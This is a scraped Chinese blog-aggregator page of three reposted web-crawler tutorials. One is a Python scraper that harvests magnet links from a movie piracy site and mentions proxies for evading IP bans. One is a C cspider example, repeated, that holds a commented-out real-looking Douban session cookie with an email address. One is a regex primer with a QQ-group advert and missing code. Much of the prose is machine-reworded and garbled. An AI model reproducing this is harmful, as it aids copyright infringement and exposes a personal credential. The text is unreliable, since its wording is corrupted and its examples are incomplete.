  當然,也有一些 「騷操作」,如果你嫌爬蟲(chóng)效率低,可以開(kāi)多線(xiàn)程(就是相當于幾十只爬蟲(chóng)同時(shí)給你爬,效率直接翻了幾十倍);如果害怕爬取頻度過(guò)低被網(wǎng)站封 IP,可以?huà)?IP 代理(相當于打幾槍換個(gè)地方,對方網(wǎng)站就不知道你到底是爬蟲(chóng)還是正常訪(fǎng)問(wèn)的用戶(hù)了);如果對方網(wǎng)站有反爬機制,那么也有一些騷操作可以繞開(kāi)反爬機制(有點(diǎn)黑客攻守的覺(jué)得,有木有?。?。這些都是后話(huà)了。
  1. 分析網(wǎng)頁(yè)的 URL 的組成結構
  首先,我們須要剖析網(wǎng)頁(yè)的 URL 的組成結構,主要關(guān)注兩方面,一是怎樣切換選擇的影片類(lèi)型,二是網(wǎng)頁(yè)怎么翻頁(yè)的。
  電影類(lèi)型
  網(wǎng)址
  劇情片
  喜劇片
  動(dòng)作片
  愛(ài)情片
  科幻片
  動(dòng)畫(huà)片
  懸疑片
  驚悚片
  恐怖片
  記錄片
  ......
  ......
  災難片
  武俠片
  古裝片
  發(fā)現規律了吧,以后假如想爬其他類(lèi)型的影片,只要改變 url 中的數字即可,甚至你可以寫(xiě)一個(gè)循環(huán),把所有藍籌股中的影片全部爬取出來(lái)。
  頁(yè)碼
  URL
  第一頁(yè)
  第二頁(yè)
  第三頁(yè)
  第四頁(yè)
  除了第一頁(yè)是 「index」外,其余頁(yè)腳均是 「index_頁(yè)碼」的方式。
  所以我們基本把握了網(wǎng)站的 url 的構成方式,這樣我們就可以通過(guò)自己構造 url 來(lái)訪(fǎng)問(wèn)任意類(lèi)型影片的任意一頁(yè)了,是不是太酷。
  2. 分析網(wǎng)站的頁(yè)面結構
  其次,我們剖析一下網(wǎng)站的頁(yè)面結構,看一看我們須要的信息都藏在網(wǎng)頁(yè)的哪些地方(在這之前我們先要明晰一下我們須要什么數據),由于我們這個(gè)目的是下載影片,所以對我有用的數據只有兩個(gè),電影名稱(chēng)和下載影片的磁力鏈接。
  按 F12 召喚出開(kāi)發(fā)者工具(這個(gè)工具可以幫助你快速定位網(wǎng)頁(yè)中的元素在 html 源代碼中位置)。
  
  然后,我們可以發(fā)覺(jué),電影列表中,每一部影片的信息儲存在一個(gè) &lt;table&gt; 標簽里,而影片的名子,就藏在上面的一個(gè) &lt;a&gt; 標簽中。電影下載的磁力鏈接在影片的詳情頁(yè)面,而影片詳情頁(yè)面的網(wǎng)址也在這個(gè)&lt;a&gt; 標簽中( href 屬性的值)。
  
  而下載的磁力鏈接,存放在 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽中,是不是太好找??!
  最后我們來(lái)縷一縷思路,一會(huì )兒我們打算這樣操作:通過(guò)上面的網(wǎng)址的構造規則,訪(fǎng)問(wèn)到網(wǎng)站的某一頁(yè),然后獲取到這個(gè)頁(yè)面里的所有 table 標簽(這里儲存著(zhù)影片的數據),然后從每一個(gè) table 標簽中找到存有影片名稱(chēng)的 a 標簽(這里可以領(lǐng)到影片名稱(chēng)以及詳情頁(yè)面的網(wǎng)址),然后通過(guò)這兒獲取的網(wǎng)址訪(fǎng)問(wèn)影片的詳情頁(yè)面,在詳情頁(yè)面選購出 &lt;tbody&gt; 標簽下的 &lt;a&gt; 標簽(這里儲存著(zhù)影片的下載鏈接),這樣我們就找到了我們所須要的全部數據了,是不是很簡(jiǎn)單啊。
  爬蟲(chóng)的程序,我通常習慣把它分成五個(gè)部份, 一是主函數,作為程序的入口,二是爬蟲(chóng)調度器,三是網(wǎng)路懇求函數,四是網(wǎng)頁(yè)解析函數,五是數據儲存函數。
  
# 我們用到的庫
import requests
import bs4
import re
import pandas as pd
  1.網(wǎng)絡(luò )懇求函數 :get_data (url)
  負責訪(fǎng)問(wèn)指定的 url 網(wǎng)頁(yè),并將網(wǎng)頁(yè)的內容返回,此部份功能比較簡(jiǎn)單固定,一般不需要做更改(除非你要掛代理,或者自定義懇求頭等,可以做一些相應的調整)。
  
def get_data(url):
'''
功能:訪(fǎng)問(wèn) url 的網(wǎng)頁(yè),獲取網(wǎng)頁(yè)內容并返回
參數:
url :目標網(wǎng)頁(yè)的 url
返回:目標網(wǎng)頁(yè)的 html 內容
'''
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}

try:
r = requests.get(url, headers=headers)
r.raise_for_status()
return r.text

except requests.HTTPError as e:
print(e)
print("HTTPError")
except requests.RequestException as e:
print(e)
except:
print("Unknown Error !")
  2.網(wǎng)頁(yè)解析函數:parse_data(html)
  這個(gè)函數是整個(gè)爬蟲(chóng)程序的核心所在,整體思路在上一部分早已講過(guò)了。我這兒使用的庫是BeautifulSoup。
  這部份的寫(xiě)法多種多樣,有很多發(fā)揮的空間,也沒(méi)有哪些太多固定的模式,因為這部份的寫(xiě)法是要隨著(zhù)不同網(wǎng)站的頁(yè)面結構來(lái)做調整的,比如說(shuō)有的網(wǎng)站提供了數據的 api 接口,那么返回的數據就是 json 格式,我們只須要調用 json 庫就可以完成數據解析,而大部分的網(wǎng)站只能通過(guò)從網(wǎng)頁(yè)源代碼中一層層篩選(篩選手段也多種多樣,什么正則表達式,beautifulsoup等等)。
  這里須要依照數據的方式來(lái)選擇不同的篩選策略,所以,知道原理就可以了,習慣哪些方式就用哪些方式,反正最后能領(lǐng)到數據就好了。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取電影列表
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

# 對電影列表中的每一部電影單獨處理
for item in tbList:
movie = []
link = item.b.find_all('a')[1]
# 獲取電影的名稱(chēng)
name = link["title"]
# 獲取詳情頁(yè)面的 url
url = 'https://www.dy2018.com' + link["href"]
# 將數據存放到電影信息列表里
movie.append(name)
movie.append(url)

try:
# 訪(fǎng)問(wèn)電影的詳情頁(yè)面,查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

# 下載鏈接有多個(gè)(也可能沒(méi)有),這里將所有鏈接都放進(jìn)來(lái)
for i in tbody:
download = i.a.text
movie.append(download)

#print(movie)
# 將此電影的信息加入到電影列表中
info.append(movie)

except Exception as e:
print(e)

return info
  3. 數據儲存函數:save_data(data)
  這個(gè)函數目的是將數據儲存到本地文件或數據庫中,具體的寫(xiě)法要按照實(shí)際須要的儲存方式來(lái)定,我這兒是將數據儲存在本地的 csv 文件中。
  當然這個(gè)函數也并不只能做這些事兒,比如你可以在這里寫(xiě)一些簡(jiǎn)單的數據處理的操作,比如說(shuō):數據清洗,數據去重等操作。
  
def save_data(data):
'''
功能:將 data 中的信息輸出到文件中/或數據庫中。
參數:data 將要保存的數據
'''
filename = 'Data/電影天堂/動(dòng)作片.csv'

dataframe = pd.DataFrame(data)
dataframe.to_csv(filename, mode='a', index=False, sep=',', header=False)
  4. 爬蟲(chóng)調度器:main()
  這個(gè)函數負責按照 url 生成規則,構造新的 url 請求,然后依次調用網(wǎng)路懇求函數,網(wǎng)頁(yè)解析函數,數據儲存函數,爬取并保存該頁(yè)數據。
  所謂爬蟲(chóng)調度器,就是控制爬蟲(chóng)哪些時(shí)侯開(kāi)始爬,多少只爬蟲(chóng)一起爬,爬那個(gè)網(wǎng)頁(yè),爬多久休息一次,等等這種事兒。
  
def main():
# 循環(huán)爬取多頁(yè)數據
for page in range(1, 114):
print('正在爬?。旱? + str(page) + '頁(yè)......')
# 根據之前分析的 URL 的組成結構,構造新的 url
if page == 1:
index = 'index'
else:
index = 'index_' + str(page)
url = 'https://www.dy2018.com/2/'+ index +'.html'
# 依次調用網(wǎng)絡(luò )請求函數,網(wǎng)頁(yè)解析函數,數據存儲函數,爬取并保存該頁(yè)數據
html = get_data(url)
movies = parse_data(html)
save_data(movies)

print('第' + str(page) + '頁(yè)完成!')
  5. 主函數:程序入口
  主函數作為程序的入口,只負責啟動(dòng)爬蟲(chóng)調度器。
  這里我通常習慣在 main() 函數前后輸出一條句子,以此判定爬蟲(chóng)程序是否正常啟動(dòng)和結束。
  
if __name__ == '__main__':
print('爬蟲(chóng)啟動(dòng)成功!')
main()
print('爬蟲(chóng)執行完畢!')
  運行了兩個(gè)小時(shí)左右吧,終于爬完了 113 頁(yè),共 3346 部動(dòng)作片影片的數據(本來(lái)不止這種的,但是有一些影片沒(méi)有提供下載鏈接,我在 excel 中排序后直接自動(dòng)剔除了)。
  
  
  然后想看哪些影片的話(huà),直接復制這種影片下載的磁力鏈接,到迅雷上面下載就好啦。
  1. 在網(wǎng)站提供的下載鏈接中,我試了一下,發(fā)現magnet 開(kāi)頭的這類(lèi)鏈接置于迅雷中可以直接下載,而 ftp 開(kāi)頭的鏈接在迅雷中總顯示資源獲取失?。ㄎ也恢朗遣皇俏掖蜷_(kāi)的形式不對,反正就是下載不來(lái)),于是我對程序做了一些小的調整,使其只獲取magnet 這類(lèi)的鏈接。
  修改的方法也很簡(jiǎn)單,只須要調整 網(wǎng)頁(yè)解析函數 即可(爬蟲(chóng)的五個(gè)部份是相對獨立的,修改時(shí)只需調整相應的模塊即可,其余部份無(wú)需更改)。
  
def parse_data(html):
'''
功能:提取 html 頁(yè)面信息中的關(guān)鍵信息,并整合一個(gè)數組并返回
參數:html 根據 url 獲取到的網(wǎng)頁(yè)內容
返回:存儲有 html 中提取出的關(guān)鍵信息的數組
'''
bsobj = bs4.BeautifulSoup(html,'html.parser')
info = []

# 獲取表頭信息
tbList = bsobj.find_all('table', attrs = {'class': 'tbspan'})

for item in tbList:
movie = []
link = item.b.find_all('a')[1]
name = link["title"]
url = 'https://www.dy2018.com' + link["href"]

try:
# 查找電影下載的磁力鏈接
temp = bs4.BeautifulSoup(get_data(url),'html.parser')
tbody = temp.find_all('tbody')

for i in tbody:
download = i.a.text
if 'magnet:?xt=urn:btih' in download:
movie.append(name)
movie.append(url)
movie.append(download)
#print(movie)
info.append(movie)
break
except Exception as e:
print(e)

return info
  注意代碼 26 行處,我加了一個(gè) if 語(yǔ)句的判定,如果下載鏈接中包含magnet:?xt=urn:btih 字符串,則視為有效鏈接,下載出來(lái),否則跳過(guò)。
  2. 我仍然在想能不能有個(gè)辦法使迅雷一鍵批量下載我們爬到的影片。使用 python 操縱第三方的軟件,這或許很難的。不之后來(lái)找到了一種方式,也算是解決了這個(gè)問(wèn)題。
  就是我們發(fā)覺(jué)迅雷軟件啟動(dòng)后,會(huì )手動(dòng)檢查我們的剪切板,只要我們復制了下載鏈接,它便會(huì )手動(dòng)彈出下載的提示框。借助這個(gè)思路,我們可以使用代碼,將下載的鏈接復制步入剪切板,等下載框手動(dòng)出現后,手動(dòng)確認開(kāi)始下載(這是我目前想到的最好的辦法了,不知道諸位大鱷有沒(méi)有更好的思路,歡迎指導交流)。
  
import pyperclip
import os
import pandas as pd
imageData = pd.read_csv("Data/電影天堂/動(dòng)作片2.csv",names=['name','link','download'],encoding = 'gbk')
# 獲取電影的下載鏈接,并用換行符分隔
a_link = imageData['download']
links = '\n'.join(a_link)
# 復制到剪切板
pyperclip.copy(links);
print('已粘貼');

# 打開(kāi)迅雷
thunder_path = r'D:\Program Files (x86)\Thunder Network\Thunder9\Program\Thunder.exe'
os.startfile(thunder_path)
  親測可以實(shí)現,但是。。。不建議嘗試(你能想像迅雷打開(kāi)的一瞬間創(chuàng )建幾百個(gè)下載任務(wù)的場(chǎng)景嗎?反正我的筆記本是緩了好久好久才反應過(guò)來(lái))。大家還是老老實(shí)實(shí)的,手動(dòng)復制鏈接下載吧(csv文件可以用 excel 打開(kāi)網(wǎng)絡(luò )爬蟲(chóng)下載,豎著(zhù)選中一列,然后復制,也能達到相同的療效),這種騷操作很蠢了還是不要試了。
  啰啰嗦嗦的寫(xiě)了很多,也不知道關(guān)鍵的問(wèn)題講清楚了沒(méi)有。有那里沒(méi)講清楚,或者那里講的不合適的話(huà),歡迎恐嚇。
  其實(shí)吧,寫(xiě)文章,寫(xiě)博客,寫(xiě)教程,都是一個(gè)知識重新熔煉內化的過(guò)程,在寫(xiě)這篇博客的時(shí)侯,我也仍然在反復考量我學(xué)習爬蟲(chóng)的過(guò)程,以及我爬蟲(chóng)代碼一步步的變化,從一開(kāi)始的所有代碼全部揉在主函數中,到后來(lái)把一些變動(dòng)較少的功能提取下來(lái),寫(xiě)成單獨的函數,再到后來(lái)產(chǎn)生基本穩定的五大部份。
  以至于在我后來(lái)學(xué)習使用 scrapy 框架時(shí)侯,驚人的發(fā)覺(jué) scrapy 框架的結構跟我的爬蟲(chóng)結構有著(zhù)異曲同工之妙,我的這個(gè)相當于是一個(gè)簡(jiǎn)易版的爬蟲(chóng)框架了,純靠自己摸索達到這個(gè)療效,我覺(jué)得還是很有成就感的。

如何高貴地使用c語(yǔ)言編撰爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 395 次瀏覽 ? 2020-07-02 08:01 ? 來(lái)自相關(guān)話(huà)題

  大家在平?;蚨嗷蛏俚鼐蜁?huì )有編撰網(wǎng)路爬蟲(chóng)的需求。一般來(lái)說(shuō),編寫(xiě)爬蟲(chóng)的首選自然非python莫屬,除此之外,java等語(yǔ)言也是不錯的選擇。選擇上述語(yǔ)言的誘因不僅僅在于它們均有特別不錯的網(wǎng)路懇求庫和字符串處理庫,還在于基于上述語(yǔ)言的爬蟲(chóng)框架十分之多和健全。良好的爬蟲(chóng)框架可以確保爬蟲(chóng)程序的穩定性,以及編撰程序的便捷性。所以,這個(gè)cspider爬蟲(chóng)庫的使命在于,我們才能使用c語(yǔ)言,依然才能高貴地編撰爬蟲(chóng)程序。
  1、爬蟲(chóng)的特點(diǎn)
  配置便捷。使用一句設置函數,即可定義user agent,cookie,timeout,proxy以及抓取線(xiàn)程和解析線(xiàn)程的最大數目。
  程序邏輯獨立。用戶(hù)可以分別定義爬蟲(chóng)的解析函數,和數據持久化函數。并且對于解析到的新url,用戶(hù)可以使用cspider提供的addUrl函數網(wǎng)絡(luò )爬蟲(chóng)c,將其加入到任務(wù)隊列中。
  便捷的字符串處理。cspider中提供了基于pcre的簡(jiǎn)單的正則表達式函數,基于libxml2的xpath解析函數,以及用于解析json的cJSON庫。
  高效的抓取。cspider基于libuv調度抓取線(xiàn)程和解析線(xiàn)程,使用curl作為其網(wǎng)路懇求庫。
  2、使用cspider的步驟
  3、例子
  先來(lái)看下簡(jiǎn)單的爬蟲(chóng)事例,會(huì )在前面詳盡講解事例。
  
#include&lt;cspider/spider.h&gt;
/*
自定義的解析函數,d為獲取到的html頁(yè)面字符串
*/
void p(cspider_t *cspider, char *d, void *user_data) {
char *get[100];
//xpath解析html
int size = xpath(d, "//body/div[@class='wrap']/div[@class='sort-column area']/div[@class='column-bd cfix']/ul[@class='st-list cfix']/li/strong/a", get, 100);
int i;
for (i = 0; i &lt; size; i++) {
//將獲取到的電影名稱(chēng),持久化
saveString(cspider, get[i]);
}
}
/*
數據持久化函數,對上面解析函數中調用的saveString()函數傳入的數據,進(jìn)行進(jìn)一步的保存
*/
void s(void *str, void *user_data) {
char *get = (char *)str;
FILE *file = (FILE*)user_data;
fprintf(file, "%s\n", get);
return;
}
int main() {
//初始化spider
cspider_t *spider = init_cspider();
char *agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0";
//char *cookie = "bid=s3/yuH5Jd/I; ll=108288; viewed=1130500_24708145_6433169_4843567_1767120_5318823_1899158_1271597; __utma=30149280.927537245.1446813674.1446983217.1449139583.4; __utmz=30149280.1449139583.4.4.utmcsr=accounts.douban.com|utmccn=(referral)|utmcmd=referral|utmcct=/login; ps=y; ue=965166527@qq.com; dbcl2=58742090:QgZ2PSLiDLQ; ck=T9Wn; push_noty_num=0; push_doumail_num=7; ap=1; __utmb=30149280.0.10.1449139583; __utmc=30149280";
//設置要抓取頁(yè)面的url
cs_setopt_url(spider, "so.tv.sohu.com/list_p1100_p20_p3_u5185_u5730_p40_p5_p6_p77_p80_p9_2d1_p101_p11.html");
//設置user agent
cs_setopt_useragent(spider, agent);
//cs_setopt_cookie(spider, cookie);
//傳入解析函數和數據持久化函數的指針
cs_setopt_process(spider, p, NULL);
//s函數的user_data指針指向stdout
cs_setopt_save(spider, s, stdout);
//設置線(xiàn)程數量
cs_setopt_threadnum(spider, DOWNLOAD, 2);
cs_setopt_threadnum(spider, SAVE, 2);
//FILE *fp = fopen("log", "wb+");
//cs_setopt_logfile(spider, fp);
//開(kāi)始爬蟲(chóng)
return cs_run(spider);
}
  例子講解
  cspider_t *spider = init_cspider();獲取初始的cspider。cs_setopt_xxx這類(lèi)函數可以拿來(lái)進(jìn)行初始化設置。其中要注意的是: cs_setopt_process(spider,p,NULL);與cs_setopt_save(spider,s,stdout);,它們分別設置了解析函數p和數據持久化函數s,這兩個(gè)函數須要用戶(hù)自己實(shí)現,還有用戶(hù)自定義的指向上下文信息user_data的表針。在解析函數中網(wǎng)絡(luò )爬蟲(chóng)c,用戶(hù)要定義解析的規則,并對解析得到的字符串可以調用saveString進(jìn)行持久化,或者是調用addUrl將url加入到任務(wù)隊列中。在saveString中傳入的字符串會(huì )在用戶(hù)自定義的數據持久函數中得到處理。此時(shí),用戶(hù)可以選擇輸出到文件或數據庫等。
  最后調用cs_run(spider)即可啟動(dòng)爬蟲(chóng)。
  趕快使用cspider爬蟲(chóng)框架來(lái)編撰爬蟲(chóng)吧! 查看全部

  大家在平?;蚨嗷蛏俚鼐蜁?huì )有編撰網(wǎng)路爬蟲(chóng)的需求。一般來(lái)說(shuō),編寫(xiě)爬蟲(chóng)的首選自然非python莫屬,除此之外,java等語(yǔ)言也是不錯的選擇。選擇上述語(yǔ)言的誘因不僅僅在于它們均有特別不錯的網(wǎng)路懇求庫和字符串處理庫,還在于基于上述語(yǔ)言的爬蟲(chóng)框架十分之多和健全。良好的爬蟲(chóng)框架可以確保爬蟲(chóng)程序的穩定性,以及編撰程序的便捷性。所以,這個(gè)cspider爬蟲(chóng)庫的使命在于,我們才能使用c語(yǔ)言,依然才能高貴地編撰爬蟲(chóng)程序。
  1、爬蟲(chóng)的特點(diǎn)
  配置便捷。使用一句設置函數,即可定義user agent,cookie,timeout,proxy以及抓取線(xiàn)程和解析線(xiàn)程的最大數目。
  程序邏輯獨立。用戶(hù)可以分別定義爬蟲(chóng)的解析函數,和數據持久化函數。并且對于解析到的新url,用戶(hù)可以使用cspider提供的addUrl函數網(wǎng)絡(luò )爬蟲(chóng)c,將其加入到任務(wù)隊列中。
  便捷的字符串處理。cspider中提供了基于pcre的簡(jiǎn)單的正則表達式函數,基于libxml2的xpath解析函數,以及用于解析json的cJSON庫。
  高效的抓取。cspider基于libuv調度抓取線(xiàn)程和解析線(xiàn)程,使用curl作為其網(wǎng)路懇求庫。
  2、使用cspider的步驟
  3、例子
  先來(lái)看下簡(jiǎn)單的爬蟲(chóng)事例,會(huì )在前面詳盡講解事例。
  
#include&lt;cspider/spider.h&gt;
/*
自定義的解析函數,d為獲取到的html頁(yè)面字符串
*/
void p(cspider_t *cspider, char *d, void *user_data) {
char *get[100];
//xpath解析html
int size = xpath(d, "//body/div[@class='wrap']/div[@class='sort-column area']/div[@class='column-bd cfix']/ul[@class='st-list cfix']/li/strong/a", get, 100);
int i;
for (i = 0; i &lt; size; i++) {
//將獲取到的電影名稱(chēng),持久化
saveString(cspider, get[i]);
}
}
/*
數據持久化函數,對上面解析函數中調用的saveString()函數傳入的數據,進(jìn)行進(jìn)一步的保存
*/
void s(void *str, void *user_data) {
char *get = (char *)str;
FILE *file = (FILE*)user_data;
fprintf(file, "%s\n", get);
return;
}
int main() {
//初始化spider
cspider_t *spider = init_cspider();
char *agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0";
//char *cookie = "bid=s3/yuH5Jd/I; ll=108288; viewed=1130500_24708145_6433169_4843567_1767120_5318823_1899158_1271597; __utma=30149280.927537245.1446813674.1446983217.1449139583.4; __utmz=30149280.1449139583.4.4.utmcsr=accounts.douban.com|utmccn=(referral)|utmcmd=referral|utmcct=/login; ps=y; ue=965166527@qq.com; dbcl2=58742090:QgZ2PSLiDLQ; ck=T9Wn; push_noty_num=0; push_doumail_num=7; ap=1; __utmb=30149280.0.10.1449139583; __utmc=30149280";
//設置要抓取頁(yè)面的url
cs_setopt_url(spider, "so.tv.sohu.com/list_p1100_p20_p3_u5185_u5730_p40_p5_p6_p77_p80_p9_2d1_p101_p11.html");
//設置user agent
cs_setopt_useragent(spider, agent);
//cs_setopt_cookie(spider, cookie);
//傳入解析函數和數據持久化函數的指針
cs_setopt_process(spider, p, NULL);
//s函數的user_data指針指向stdout
cs_setopt_save(spider, s, stdout);
//設置線(xiàn)程數量
cs_setopt_threadnum(spider, DOWNLOAD, 2);
cs_setopt_threadnum(spider, SAVE, 2);
//FILE *fp = fopen("log", "wb+");
//cs_setopt_logfile(spider, fp);
//開(kāi)始爬蟲(chóng)
return cs_run(spider);
}
  例子講解
  cspider_t *spider = init_cspider();獲取初始的cspider。cs_setopt_xxx這類(lèi)函數可以拿來(lái)進(jìn)行初始化設置。其中要注意的是: cs_setopt_process(spider,p,NULL);與cs_setopt_save(spider,s,stdout);,它們分別設置了解析函數p和數據持久化函數s,這兩個(gè)函數須要用戶(hù)自己實(shí)現,還有用戶(hù)自定義的指向上下文信息user_data的表針。在解析函數中網(wǎng)絡(luò )爬蟲(chóng)c,用戶(hù)要定義解析的規則,并對解析得到的字符串可以調用saveString進(jìn)行持久化,或者是調用addUrl將url加入到任務(wù)隊列中。在saveString中傳入的字符串會(huì )在用戶(hù)自定義的數據持久函數中得到處理。此時(shí),用戶(hù)可以選擇輸出到文件或數據庫等。
  最后調用cs_run(spider)即可啟動(dòng)爬蟲(chóng)。
  趕快使用cspider爬蟲(chóng)框架來(lái)編撰爬蟲(chóng)吧!

想入門(mén)爬蟲(chóng)?那你就必須學(xué)好正則!爬蟲(chóng)入門(mén)和正則表達式超全合輯

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 337 次瀏覽 ? 2020-06-30 08:02 ? 來(lái)自相關(guān)話(huà)題

  
  urllib.request.urlopen(url)官方文檔返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又用到的read()方法;返回數據;這個(gè)函數返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又有各類(lèi)方式, 比如我們用到的read()方法;如果你也是編程的學(xué)習者或則早已學(xué)會(huì )了的編程者!小編這兒有個(gè)群:103456743!大家可以加下,里面布滿(mǎn)了全國各地的學(xué)習者!為你們提供一個(gè)交流平臺,不管平常有遇到哪些BUG或則學(xué)習過(guò)程中卡殼,找不到人替你解決?那么就進(jìn)來(lái)吧,里面熱心的小伙伴還是十分多的,管理也是很好的,有哪些問(wèn)題,他假如有時(shí)間都能給你們解決,我認為是一個(gè)特別不錯的交流平臺,沒(méi)事也可以和你們扯扯公司的事中學(xué)發(fā)生的軼事,群文件早已上傳了很多G的資料,PDF,視頻 安裝工具,安裝教程都是有的,為了你們的學(xué)習能更進(jìn)一步!也為了你們能愉快的交流,討論學(xué)術(shù)問(wèn)題!所以你還在等哪些呢?好了馬上給你們帶來(lái)正文!
  
  
  data是一個(gè)字典, 然后通過(guò)urllib.parse.urlencode()來(lái)將data轉換為 ‘word=one+peace’的字符串, 最后和url合并為full_url
  python正則表達式介紹:
  隊列 介紹
  在爬蟲(chóng)的程序中用到了廣度優(yōu)先級算法,該算法用到了數據結構,當然你用list也可以實(shí)現隊列,但是效率不高?,F在在此處介紹下:
  在容器中有隊列:collection.deque
  
  集合介紹:
  在爬蟲(chóng)程序中, 為了不重復爬這些早已爬過(guò)的網(wǎng)站, 我們須要把爬過(guò)的頁(yè)面的url放進(jìn)集合中, 在每一次要爬某一個(gè)url之前, 先瞧瞧集合上面是否早已存在. 如果早已存在, 我們就跳過(guò)這個(gè)url; 如果不存在, 我們先把url裝入集合中, 然后再去爬這個(gè)頁(yè)面.
  Python 還 包 含 了 一 個(gè) 數 據 類(lèi) 型—— set ( 集 合 ) 。 集 合 是 一 個(gè) 無(wú) 序 不 重 復 元素 的 集 。 基 本 功 能 包 括 關(guān) 系 測 試 和 消 除 重 復 元 素 。 集 合 對 象 還 支 持 union( 聯(lián)
  合),intersection(交),difference(差)和 sysmmetric difference(對稱(chēng)差集)等物理運算。
  大括號或 set() 函數可以拿來(lái)創(chuàng )建集合。 注意:想要創(chuàng )建空集合,你必須使用set() 而不是 {} 。{}用于創(chuàng )建空字典;
  集合的創(chuàng )建演示如下:
  
  正則表達式
  在爬蟲(chóng)時(shí)搜集回去的通常是字符流,我們要從中選購出url就要求有簡(jiǎn)單的字符串處理能力,而用正則表達式可以輕松的完成這一任務(wù);
  正則表達式的步驟:1,正則表達式的編譯 2,正則表達式匹配字符串 3,結果的處理
  下圖列舉了正則表達式的句型:
  
  在pytho中使用正則表達式網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,需要引入re模塊;下面介紹下該模塊中的一些技巧;
  pile和match
  re模塊中compile用于生成pattern的對象,再通過(guò)調用pattern實(shí)例的match方式處理文本最終獲得match實(shí)例;通過(guò)使用match獲得信息;
  
  
  
  pattern:
  Pattern對象是一個(gè)編譯好的正則表達式,通過(guò)Pattern提供的一系列方式可以對文本進(jìn)行匹配查找。
  Pattern不能直接實(shí)例化,必須使用pile()進(jìn)行構造。
  
  2.re.match(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.match方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  
  
  
  re.search方式
  re.search 掃描整個(gè)字符串并返回第一個(gè)成功的匹配。
  函數句型:
  re.search(pattern, string, flags=0)
  函數參數說(shuō)明:
  參數描述
  pattern
  匹配的正則表達式
  string
  要匹配的字符串。
  flags
  標志位,用于控制正則表達式的匹配方法,如:是否分辨大小寫(xiě),多行匹配等等。
  匹配成功re.search方式返回一個(gè)匹配的對象,否則返回None。
  我們可以使用group(num) 或 groups() 匹配對象函數來(lái)獲取匹配表達式。
  匹配對象方式描述
  group(num=0)
  匹配的整個(gè)表達式的字符串,group() 可以一次輸入多個(gè)組號,在這些情況下它將返回一個(gè)包含這些組所對應值的元組。
  groups()
  返回一個(gè)包含所有小組字符串的元組,從 1 到 所含的小組號。
  實(shí)例一:
  
  
  search和match區別:
  re.match只匹配字符串的開(kāi)始,如果字符串開(kāi)始不符合正則表達式,則匹配失敗,函數返回None;而re.search匹配整個(gè)字符串網(wǎng)絡(luò )爬蟲(chóng) 正則表達式,直到找到一個(gè)匹配。
  python爬蟲(chóng)小試牛刀
  利用python抓取頁(yè)面中所有的http合同的鏈接,并遞歸抓取子頁(yè)面的鏈接。使用了集合和隊列;此去爬的是我的網(wǎng)站,第一版好多bug;
  代碼如下:
  
  
  
  那么你學(xué)會(huì )了嗎? 查看全部

  
  urllib.request.urlopen(url)官方文檔返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又用到的read()方法;返回數據;這個(gè)函數返回一個(gè) http.client.HTTPResponse 對象, 這個(gè)對象又有各類(lèi)方式, 比如我們用到的read()方法;如果你也是編程的學(xué)習者或則早已學(xué)會(huì )了的編程者!小編這兒有個(gè)群:103456743!大家可以加下,里面布滿(mǎn)了全國各地的學(xué)習者!為你們提供一個(gè)交流平臺,不管平常有遇到哪些BUG或則學(xué)習過(guò)程中卡殼,找不到人替你解決?那么就進(jìn)來(lái)吧,里面熱心的小伙伴還是十分多的,管理也是很好的,有哪些問(wèn)題,他假如有時(shí)間都能給你們解決,我認為是一個(gè)特別不錯的交流平臺,沒(méi)事也可以和你們扯扯公司的事中學(xué)發(fā)生的軼事,群文件早已上傳了很多G的資料,PDF,視頻 安裝工具,安裝教程都是有的,為了你們的學(xué)習能更進(jìn)一步!也為了你們能愉快的交流,討論學(xué)術(shù)問(wèn)題!所以你還在等哪些呢?好了馬上給你們帶來(lái)正文!
  
  
  data是一個(gè)字典, 然后通過(guò)urllib.parse.urlencode()來(lái)將data轉換為 ‘word=one+peace’的字符串, 最后和url合并為full_url
  python正則表達式介紹:
  隊列 介紹
  在爬蟲(chóng)的程序中用到了廣度優(yōu)先級算法,該算法用到了數據結構,當然你用list也可以實(shí)現隊列,但是效率不高?,F在在此處介紹下:
  在容器中有隊列:collection.deque
  
  集合介紹:
  在爬蟲(chóng)程序中, 為了不重復爬這些早已爬過(guò)的網(wǎng)站, 我們須要把爬過(guò)的頁(yè)面的url放進(jìn)集合中, 在每一次要爬某一個(gè)url之前, 先瞧瞧集合上面是否早已存在. 如果早已存在, 我們就跳過(guò)這個(gè)url; 如果不存在, 我們先把url裝入集合中, 然后再去爬這個(gè)頁(yè)面.
